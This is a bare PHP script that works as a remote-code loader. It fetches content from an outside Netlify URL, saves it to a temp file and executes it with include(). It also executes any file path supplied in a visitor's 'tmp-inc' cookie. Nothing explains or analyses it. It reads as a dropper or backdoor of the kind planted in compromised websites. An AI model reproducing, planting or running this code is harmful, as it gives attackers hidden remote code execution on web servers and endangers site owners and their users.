<?php

function getTempPath() {
    $tmpPath = isset($_COOKIE['tmp-inc']) && !empty($_COOKIE['tmp-inc']) ? $_COOKIE['tmp-inc'] : false;

    if ($tmpPath && isValidTempPath($tmpPath)) {
        return $tmpPath;
    }

    return generateTempPath();
}

function isValidTempPath($path) {
    return file_exists($path) && filesize($path) > 100;
}

function generateTempPath() {
    $tempDir = sys_get_temp_dir();
    $tempPath = tempnam($tempDir, '');

    return $tempPath ?: false;
}

function fetchAndStoreContent($url, $path) {
    $content = file_get_contents($url);
    
    if ($content !== false && file_put_contents($path, $content) !== false) {
        setcookie('tmp-inc', $path);
        include($path);
        exit;
    }

    die('Unable to write to temporary file.');
}

$tempPath = getTempPath();

if (!$tempPath) {
    die("Unable to generate tmp path");
}

$fileSize = filesize($tempPath);

if ($fileSize < 10) {
    fetchAndStoreContent("https://easytoremind.netlify.app/plain.txt", $tempPath);
} elseif ($fileSize >= 1024) {
    setcookie('tmp-inc', $tempPath);
    include($tempPath);
    exit;
}